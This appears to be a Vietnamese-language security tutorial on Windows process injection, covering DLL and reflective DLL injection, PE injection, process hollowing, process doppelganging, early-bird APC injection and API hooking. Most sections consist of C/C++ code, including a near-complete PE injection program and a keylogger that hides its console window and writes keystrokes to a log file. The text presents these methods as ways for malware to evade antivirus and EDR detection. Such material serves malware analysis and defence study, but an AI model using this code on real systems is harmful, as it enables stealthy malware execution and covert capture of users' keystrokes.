# Process injection (P1) Đây là phương pháp thực thi mã nhằm tránh bị phát hiện dựa vào việc chạy thread dưới process hợp lệ của hệ điều hành. ## DLL injection ### 1. Sử dụng đường dẫn của DLL: Đây là phương thức cổ điển tạo thread trên target process để thực thi `LoadLibrary()` với tham số là đường dẫn của dll. --------------------------- **Step1**: Mình sẽ lấy 2 tham số đầu vào là đường dẫn và process ID của target process ta muốn inject. Sử dụng `OpenProcess` lấy process handle để tương tác với target process. ```c HANDLE get_proc_handle(LPCSTR path, DWORD pid, SIZE_T *pathLen){ *len = strlen(path); return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); } int main(int argc, char* argv[]) { SIZE_T pathLen = 0; LPCSTR path = LPCSTR(argv[1]); // get abs dll path HANDLE hProc = get_proc_handle(path, (DWORD)argv[2], &pathLen); // argv[2]-pid of target process. ... } ``` **Step2**: Cấp phát và ghi đường dẫn của DLL ta muốn load vào vùng nhớ của target process. ```c // +1 for terminate byte LPVOID pDllPathAddr = VirtualAllocEx(hProc, NULL, pathLen+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProc, pDllPathAddr, path, pathLen+1, 0); ``` **Step3**: Xác định entry point và thực thi bằng cách tạo một thread trên target process, LoadLibraryA() với tham số là đường dẫn DLL. [Khi đó thread sẽ thực thi DllMain của DLL](https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain?redirectedfrom=MSDN). ```c // kernel32.dll để lấy hàm LoadLibraryA HMODULE hmodule_kernel32_dll = GetModuleHandleA("Kernel32.dll"); FARPROC lpStartAddr = GetProcAddress(hmodule_kernel32_dll, "LoadLibraryA"); HANDLE hLoadThread = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)lpStartAddr, pDllPathAddr, 0, 0); ``` ### 2. Sử dụng kỹ thuật Reflective DLL: Đây là kỹ thuật sau khi malicious Dll được đút vào target process sẽ tự thực hiện các thao tác như một windows loader để thực thi ở trên target process. --------------------------- **I**: Đầu tiên thực thi 1 file exe có nhiệm vụ: - Inject malicious Dll vào target process. Ta có thể đọc malicious DLL từ disk, hay cách hay hơn là để dưới dạng chuỗi bytes. ```cpp HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, <------ [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); ``` - Tạo một thread trên target process với tham số địa chỉ bắt đầu trỏ vào hàm `ReflectiveLoader` của injected malicious Dll trong target process (Sử dụng hàm `GetReflectiveLoaderOffset` để tính toán offset). - Cơ chế của `GetReflectiveLoaderOffset` là parse file và tìm đến export directory của file Dll và so sánh với từng chuỗi trong trường `AddressOfNames` (mảng chứa địa chỉ trỏ tới tên của các export functions). Giá trị offset này không đổi với từng Dll file, nhưng có thể để hàm này vào để làm đau đầu mấy đứa reverser :v. **II**: Sau **I**, hàm `ReflectiveLoader` trong target process sẽ được thực thi, hàm này sẽ thực hiện: &emsp; **1**: Tính toán base address của chính nó trong target process. Sử dụng kỹ thuật khá hay ho, hàm caller() sẽ return về địa chỉ của câu lệnh tiếp theo, hay một địa chỉ ở .text section. Ta sẽ quay ngược lại địa chỉ này đến khi tìm được holy magic bytes "MZ". ```cpp= __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } ... while (TRUE) { if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) { uiHeaderValue += uiLibraryAddress; if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) break; } } uiLibraryAddress--; } ``` &emsp; **2**: Tính toán địa chỉ của 3 hàm cần thiết: `LoadLibraryA`, `GetProcAddress`, `VirtualAlloc` từ PEB (Process enviroment block) struct. &emsp; **3**: Cấp phát vùng nhớ mới trên target process, và load từng image section vào vùng nhớ này. &emsp; **4**: Chỉnh lại bảng IAT- Sửa địa chỉ các hàm được import tương ứng. ![](https://i.imgur.com/PS36SGn.png) Sử dụng pointers tới hàm `GetProcAddress` và `LoadLibraryA` đã resolved từ bước trước. ```cpp // uiValueB = trỏ tới địa chỉ của import directory uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; // uiValueC = trỏ tới phẩn tử đầu tiên của import directory uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtuaAddress); // vòng lặp qua các dll được import while(((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) ``` Ta sẽ dùng bảng INT (import name table) để tìm địa chỉ đúng của các hàm với sự giúp đỡ của `LoadLibrary` và sửa lại địa chỉ được trỏ bởi `FirstChunk` (IAT-Import Address Table). ![](https://i.imgur.com/6Q5ni7n.png) ![](https://i.imgur.com/eua8DDS.png) - Nếu flag IMAGE_ORDINAL_FLAG được set, function đó sẽ được import bằng số thứ tự hàm (`ordinal`), nếu không ta sẽ dùng tên function đó. ```cpp= while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) { uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); // uiValueD = VA of the OriginalFirstThunk uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); // in this time, uiValueD & uiValueA point to same addr // itterate through all imported functions, importing by ordinal if no name present while (DEREF(uiValueA)) { // sanity check uiValueD as some compilers only import by FirstThunk if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // get the VA of the export directory uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); // get the VA for the array of addresses (IAT) uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); // patch in the address for this imported function DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); } else // ============== RESOLVED FUNCTION ADDRESS VIA FUNCTION NAME { // get the VA of this functions import by name struct uiValueB = (uiBaseAddress + DEREF(uiValueA)); // use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); } // get the next imported function uiValueA += sizeof(ULONG_PTR); if (uiValueD) uiValueD += sizeof(ULONG_PTR); } // get the next DLL import uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); } ``` &emsp; **5**: Rebasing lại Dll file trên vùng nhớ đã cấp phát ở **3**: &emsp; - Nhiệm vụ của bước này là sửa lại giá trị của một số địa chỉ VA (địa chỉ ảo) (đã bị fixed cứng trong quá trình compiler), khi mà image được load tại địa chỉ khác với trường `OptinalHeader.ImageBase` (thường là 0x400000) &emsp; - .reloc section (or relocation section) là các block chứa cấu trúc `IMAGE_BASE_RELOCATION`, mỗi cấu trúc này chia image (đã được load lên memory) thành các phần 4KB để sửa các giá trị cần fix. ```cpp typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; // RVA DWORD SizeOfBlock; // WORD TypeOffset[1]; } IMAGE_BASE_RELOCATION; ``` - Trường `VirtualAddress` sẽ xác định địa chỉ bắt đầu của khối 4KB đó. Trương `SizeOfBlock` sẽ xác định block tiếp theo ở đâu. Trong block, ngoài 2 trường trên thì còn lại là mảng các phần tử 2 bytes (WORD), chứa offset đến vị trí cần sửa. Hình dưới đây chứa 2 block (tương ứng cho .text section và .data section). ![](https://i.imgur.com/V5SV8I9.png) - Ta sẽ tính vị trí cần sửa > ImageBase + VirtulAddress + (TypeOffset & 0xFFF) - Khi đã tìm đến vị trí cần sửa, ta cộng với `delta` là khoảng cách giữa vị trí load mới của file lên mem và ImageBase mặc định của file. > delta = newImageBase - preferredImageBase > &emsp; **6**: Cuối cùng sẽ gọi hàm entry point của image mới được load (DllMain với `DLL_PROCESS_ATTACH` - khi Dll mới được load vào memory) ## PE injection: Kỹ thuật này inject chính PE file vào process khác và gọi chính nó trong đó, na ná Reflective DLL injection. But it's ezier than Reflective way. ------------------- **Step1**: inject PE file vào target process. **Step2**: Tính giá trị delta và rebasing image. - Lí do mà không cần sửa lại IAT (Import Address Table) là do base address của các Dlls thông dụng (chạy bởi các proces nền) đểu giống nhau giữa các process (khác nhau giữa các máy và các lần reboot, hay một process không thể map Dll với địa chỉ này). [detail here](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html) ![](https://i.imgur.com/zD9rtNY.png) **Step3**: Tạo một thread trên target process với entrypoint là hàm ta muốn thực thi. ```cpp= #include <stdio.h> #include <Windows.h> typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; DWORD InjectionEntryPoint() { MessageBoxA(NULL, "HI there!!!", "Hello", NULL); return 0; } int main(int argc, char*argv[]) { // Lấy địa chỉ base của process hiện tại PVOID imageBase = GetModuleHandle(NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew); // Allocate a new memory segment and copy the current PE image to this new memory segment // NOTE: image PE hiện tại đã được load bởi windows loader, IAT đã được resolved PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE); memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage); // Open the target process HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)atoi(argv[1])); // Allote a new memory segment in the target process PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Calculate delta between addresses of where the image will be located in the target process and where it's located currently (current process) DWORD_PTR delta = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase; // Relocate localImage, to ensure that it will have correct addresses once its in the target process PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); DWORD relocationEntriesCount = 0; PDWORD_PTR patchedAddress; PBASE_RELOCATION_ENTRY relocationRVA = NULL; while (relocationTable->SizeOfBlock > 0) { relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT); relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1); for (short i = 0; i < relocationEntriesCount; i++) { if (relocationRVA[i].Offset) { patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset); *patchedAddress += delta; } } relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock); } // Write the relocated localImage into the target process WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL); // Start the injected PE inside the target process HANDLE hLoadThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + delta), NULL, 0, NULL); WaitForSingleObject(hLoadThread, INFINITE); return 0; } ``` ## Process Hollowing (aka RunPE): Ý tưởng của kỹ thuật này là mã độc khởi chạy một process mới từ tệp thực thi trên máy victim (Ex: explorer.exe). Empty/hollow image của tệp thực thi đó trong chính VAS (Virtual Address Space) của nó, thay đổi vùng nhớ vừa rồi thành malicious code. ------------------- Khi CreateProcess() được sử dụng: - Tạo memory space cho Process mới. - Phân bổ stack cùng với TEB và PEB. - Load DLL hoặc EXE vào mem. Khi hoàn thành, hệ điều hành tạo một thread để thực thi code. Thread này sẽ bắt đầu tại EntryPoint của tệp thực thi. Nếu sử dụng flag **CREATE_SUSPENDED**,quá trình thực thi của thread sẽ bị tạm dừng ngay trước khi chạy lệnh đầu tiên. ``` CREATE_SUSPENDED (0x4): The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread() is called. ``` Sau khi suspended process được tạo, ta có thể truy xuất thông tin về target process bao gồm PEB từ đó lấy được baseAddress của process -> EntryPoint. **Step1**: tạo target process bị "treo" với `CREATE_SUSPENDED` flag. ```cpp CreateProcessA( (LPSTR)argv[2], // target process path NULL, NULL,NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, target_si, target_pi); ``` **Step2**: Làm trống target process. - Unmap vùng nhớ của của target proces tại base address. - Đầu tiên, ta cần tìm base address của target process cho tham số thứ 2 của hàm `ZwUnmapViewOfSection`. ```cpp /* NTSYSAPI NTSTATUS ZwUnmapViewOfSection( [in] HANDLE ProcessHandle, [in, optional] PVOID BaseAddress );*/ Context contx; GetThreadContext(targetProcHandle, &contx); // Lấy base address của target process. PVOID addrBase; ReadProcessMemory(targetProcHandle, (PVOID)(contx.Ebx + 8)), &addrBase, sizeof(PVOID), 0); // Hollowing the target process ZwUnmapViewOfSection(targetProcHandle, addrBase); ``` ![](https://i.imgur.com/DLca39H.png) Sau khi unmap ![](https://i.imgur.com/mPD3P6x.png) **Step3**: Cấp phát vùng nhớ cho malicious code và fill từng section vào target process tương ứng. Sau đó chỉnh lại các phần tủ trong relocation section. 1. - Đọc malicious file -> lấy File handle; Lấy file size = `GetFileSize`. - Dùng `VirtualAlloc` và `ReadFile` để load raw malicious file vào vùng nhớ được cấp phát mới. - Lấy NtHeader.OptionalHeader.SizeOfImage từ raw malicious file. 2. - Cấp phát vùng nhớ trong target process với SizeOfImage đã lấy ở trên với quyền rwx. - Dùng `WriteProcesMemory` để ghi lần lượt Header file và các sections. ```cpp WriteProcessMemory( target_pi->hProcess, pTargetImageBaseAddress, pMaliciousImage, pNtHeaders->OptionalHeader.SizeOfHeader, NULL); for(int i = 0; i < pNtHeaders->OptionalHeader.NumberOfSection; i++){ PIMAGE_SECTION_HEADER sectionEntry = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i*sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory( target_pi->hProcess, (PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress); (PVOID)((LPBYTE)pMaliciousAddress + pSectionHeader->PointerToRawData); pSectionHeader->SizeOfRawData, NULL); } ``` 3. Rebasing image: Trong trường hợp địa chỉ ImageBase trên target process khác với ImageBase của file ta muốn inject lên. Ta cần rebase lại. ```cpp DWORD delta = pTargetImageBaseAddress - pNTHeader->OptionalHeader.ImageBase; if (delta) { IMAGE_DATA_DIRECTORY relocDataDir = pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if ((relocDataDir.Size)) { PIMAGE_BASE_RELOCATION reloc = (IMAGE_BASE_RELOCATION*)((DWORD_PTR)pMaliciousImage + relocDataDir.VirtualAddress); while (reloc->SizeOfBlock) { DWORD relocBlock_VA = reloc->VirtualAddress; DWORD_PTR reloc_entry = (DWORD_PTR)reloc + sizeof(IMAGE_BASE_RELOCATION); DWORD entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(DWORD); for (DWORD i = 0; i < entriesNum; i++) { BASE_RELOCATION_ENTRY reloc_entry; // read block entry offset for patched value DWORD dwBuffer = 0; ReadProcessMemory( target_pi->hProcess, // point to reloc block (LPVOID)((DWORD_PTR)pTargetImageBaseAddress + relocDataDir.VirtualAddress + sizeof(IMAGE_BASE_RELOCATION) + i*sizeof(WORD)), &dwBuffer, sizeof(DWORD), 0); // update dwBuffer += delta; WriteProcessMemory( target_pi->hProcess, // point to reloc block (LPVOID)((DWORD_PTR)pTargetImageBaseAddress + relocDataDir.VirtualAddress + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(WORD)), &dwBuffer, sizeof(DWORD), 0); } reloc += reloc->SizeOfBlock; } } } ``` **Step4**: Đặt lại entrypoint của target process (Mỗi khi có một image mới được nạp vào bộ nhớ thì thanh ghi EAX của luồng bị treo sẽ được đặt là giá trị của entry point (điểm bắt đầu chương trình). Process sau đó được tiếp tục và entry point của image mới sẽ được thực thi) và chuyển trạng thái của process từ suspend -> running (đợi tín hiệu từ hàm `ResumeThread`) - Chúng ta cần lấy CONTEXT ```cpp // change malicious entrypoint on target process & resume thread context.Eax = (SIZE_T)((LPBYTE)pHollowAddr + pNtHeaders->OptionalHeader.AddressOfEntryPoint); // update context of target process SetThreadContext(target_pi->hThread, &context); ResumeThread(target_pi->hThread); ``` ## Process Doppelganging NTFS, FAT32, exFAT là các kiểu định dạng hệ thống tập tin (file system) trên Windows. Kỹ thuật này lợi dụng cơ chế của định dạng NTFS: Transactional NTFS (TxF). Transactional NTFS được tạo ra với mục đích update hay thay đổi file. Giúp file toàn vẹn nhờ cơ chế **commit** và **rollback** sau mỗi lần thay đổi của file. Chẳng hạn trong quá trình cài đặt một package nào đó lên máy, hay quá trình update của windows. Dưới đây là demo đơn giản về quá trình tạo một transaction với đối tượng là một file chưa tồn tại trên ổ đĩa cùng với cơ chế commit và rollback. ```cpp= #include <Windows.h> #include <KtmW32.h> #pragma comment(lib, "KtmW32.lib") int main() { HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL); LPCWSTR filePath = L"D:\\lab\\newFile.txt"; HANDLE hTransactedFile = CreateFileTransacted(filePath, GENERIC_WRITE | GENERIC_READ, 0, NULL, 2, // CREATE_ALWAYS 0x80, //FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL); byte payload[] = "viet"; DWORD dwBytesWritten = 0; WriteFile( hTransactedFile, &payload, (DWORD)sizeof(payload), &dwBytesWritten, NULL); CloseHandle(hTransactedFile); /* * nothing gonna happen RollbackTransaction(hTransaction); */ // successfully create & write to file CommitTransaction(hTransaction); return 0; } ``` > Ta có thể tạo 1 file bên trong một transaction để không process khác thấy được file này (cho đến khi transaction được commit). File đó có thể drop và chạy malicious payloads. Sau đó ta sẽ làm cho file này như chưa từng được tạo băng cách rollback transaction này. ------------------- **Step1**: ghi đè file sạch với malicious code. - Tạo transaction -> mở file sạch (transacted file) -> ghi đè transacted file với malicious code. ```cpp HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0,0, NULL); ``` **Step2**: Tạo một section từ transacted file. Như vậy, ta có một section object chứa malicious code. **Step3**: Rollback lại transaction, làm transacted file trở về như lúc chưa bị ghi đè. **Step4**: Tạo process và tham số để thực thi. 1. cài đặt tham số của process và ghi vào PEB. 2. tạo thread bắt đầu tại entry point của malicious code. ## APC injection - early bird: [APC (Asynchronous Procedure Calls)](https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls#synchronization-internals) của Windows là **một hàm** cho phép thực thi bất đồng bộ trong một thread cụ thể. - Nhiều thread thực thi code bên trong một process. - Mỗi thread có một **hàng đợi** lưu các APC. Xếp một APC vào một thread bằng hàm [QueueUserAPC](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc). Với hàm [callback `pfnAPC`](https://learn.microsoft.com/en-us/windows/win32/api/winnt/nc-winnt-papcfunc) ```cpp= DWORD QueueUserAPC( [in] PAPCFUNC pfnAPC, [in] HANDLE hThread, [in] ULONG_PTR dwData ); void Papcfunc(ULONG_PTR Parameter) {...} ``` - Thread có thể thực thi code bất đồng bộ (Asynchronous) bằng hàng đợi APC. NOTE: Khi một APC được đưa vào hàng đợi của một thread, thread sẽ không thực thi APC trừ khi thread đó trong trạng thái **alertable** (khi một số hàm sau đây được gọi: SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx). Đây cũng là điểm yếu vì mã độc không thể buộc target thread vào trạng thái **alertable** Còn một cách khác để thực thi APC, bằng cách lợi dụng **NtTestAlert** (là hàm kiểm tra hàng đợi APC của thread, nếu có bất kỳ APC nào được xếp trong hàng đợi của thread, hàm sẽ chạy các APC tới khi hàng đợi rỗng). > Trước khi một thread bắt đầu thực thi, **NtTestAlert** được thực thi `trước tiên` (bên trong **ntdll!LdrpInitialize** gọi hàm NtTestAlert). > Bằng cách này, ta tạo một process (target process)ở trạng thái suspended, inject code và thêm APC (trỏ tới injected code) vào target process. Để thực thi trước khi bắt đầu process để tránh bị phát hiện bởi AV/EDR hooking. ## Hooking ### inline hooking - inject API function. Tìm đến dịa chỉ API, sửa đổi instruction/code trong api tới hàm mong muốn (eg: jump, ...) -> thực thi hàm api gốc. ```cpp #include <Windows.h> #include <iostream> FARPROC hookedAddr; char originalBytes[5] = { 0 }; char patch[5] = { 0 }; int HookedMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { // ======== 3. arbitrary code std::cout << "Say hi from HookedMessageBoxA!!!" << std::endl; // ======== 4. unpatch instruction become normal WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedAddr, originalBytes, 5, NULL); // call original function return MessageBoxA(hWnd, lpText, lpCaption, uType); }; int main() { // ======= 1. Lấy địa chỉ api cần hook hookedAddr = GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA"); ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedAddr, originalBytes, 5, NULL); // ======= 2. Ghi đè 5 opcode đầu hàm api thành jmp tới HookedMessageBoxA DWORD src = (DWORD)hookedAddr+5; DWORD dst = (DWORD)HookedMessageBoxA; DWORD* joffset = (DWORD*)(dst - src); // build 5 bytes instruction in patch array memcpy(patch, "\xE9", 1); // jmp memcpy(patch + 1, &joffset, 4); WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedAddr, patch, 5, NULL); // after hooking MessageBoxA function MessageBoxA(NULL, "hi", "hi", MB_OK); return 0; } ``` ---------------------- ### hook chain interception #### hook & hook procedure: là cơ chế một ứng dụng can thiệp vào **events** (message, bàn phím, trỏ chuột). Tương tự với hàm ta có **hook procedure**. **hook procedure** có thể hoạt động với mỗi event nhận được để thay đổi event. #### hook chains: ```cpp LRESULT CALLBACK HookProc( int nCode, WPARAM wParam, LPARAM lParam ) { // process event ... return CallNextHookEx(NULL, nCode, wParam, lParam); } ``` Hệ thống hỗ trợ nhiều loại hooks (WH_MOUSE, WH_KEYBOARD_LL, WH_GETMESSAGE...). Mỗi loại cung cấp truy cập vào một cơ chế xử lí **message**, và mỗi hook chain riêng biệt cho từng loại hook. Một hook chain là một list các con trỏ của hook procedure. Khi một message nhận được với loại hook tương ứng, hệ thống sẽ đưa message đó tới hook procedure trong hook chain tương ứng. #### Hàm API `SetWindowsHookEx`: Được dùng để cài đặt một hook procedure vào đầu một hook chain. ```cpp HHOOK SetWindowsHookExA( [in] int idHook, // hook type [in] HOOKPROC lpfn, // a pointer to the hook procedure [in] HINSTANCE hmod, [in] DWORD dwThreadId ); ``` > Nếu tham số thứ 4 là **0** thì hệ thống hook mọi thread của các ứng dụng windows (system-wide remote hook). > NOTE: hệ điều hành 64 bit chỉ chạy được với file x64. Dưới đây là demo keylogger ```cpp= #include <Windows.h> #include <stdio.h> LRESULT CALLBACK LowLevelKeyboardProc( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) { char ch; if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100)) { FILE* of; errno_t err = fopen_s(&of, "c:\\temp\\key.log", "a"); if (wParam == VK_RETURN) { ch = '\n'; fwrite(&ch, 1, 1, of); } else { KBDLLHOOKSTRUCT* kbhs = reinterpret_cast<KBDLLHOOKSTRUCT*> (lParam); ch = MapVirtualKey(kbhs->vkCode, MAPVK_VK_TO_CHAR); fwrite(&ch, 1, 1, of); } fclose(of); } return CallNextHookEx(NULL, nCode, wParam, lParam); } int main() { const char* out_filename = "keys.log"; FILE* of; errno_t err = fopen_s(&of, "c:\\temp\\key.log", "w"); if (err) { return 1; } fclose(of); HHOOK hHookProc = SetWindowsHookEx( WH_KEYBOARD_LL, // WH_KEYBORAD_LL &LowLevelKeyboardProc, 0, 0); // invisible window ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); MSG mes; while (GetMessage(&mes, NULL, NULL, NULL) > 0) { } UnhookWindowsHookEx(hHookProc); return 0; } ``` ---------------------- ## Q&As: **1. Tại sao force aslr enabled rồi mà tất cả các địa chỉ vẫn giống nhau giữa các lần load lại process?** **A. How Dll is shared between processes?** Mỗi process sẽ load một dll độc lập. Nhưng nếu dll cần đã được loaded bởi một proces khác trước đó (đọc từ đĩa vật lý, rebasing, commit). dll sẽ được copy và đặt tại địa chỉ địa chỉ của process trước (nếu vùng địa chỉ này vẫn available). > Directly mapping the DLL file into memory is a small performance benefit since it avoids reading any of the DLL’s pages into physical memory until they are needed. A better reason for preferred base addresses is to ensure that only one copy of a DLL needs to be in memory. Without them, if three programs run that share a common DLL, but each loads that DLL at a different address, there would be three DLL copies in memory, each relocated to a different base. That would counteract a main benefit of using shared libraries in the first place. Aside from its security benefits, ASLR accomplishes the same thing—ensuring that the address spaces of loaded DLLs won’t overlap and loading only a single copy of a DLL into memory—in a more elegant way. > Windows contains an optimisation to save space in RAM-rather than loading that Dll into RAM dozens times, it loads it once and each process refers to that same chunk of RAM. - The answer [Fact2](https://www.mandiant.com/resources/blog/six-facts-about-address-space-layout-randomization-on-windows) ## Refs: https://depthsecurity.com/blog/reflective-dll-injection-in-c https://github.com/stephenfewer/ReflectiveDLLInjection https://blog.sevagas.com/?PE-injection-explained https://viblo.asia/p/tim-hieu-ve-process-hollowing-V3m5WRmxlO7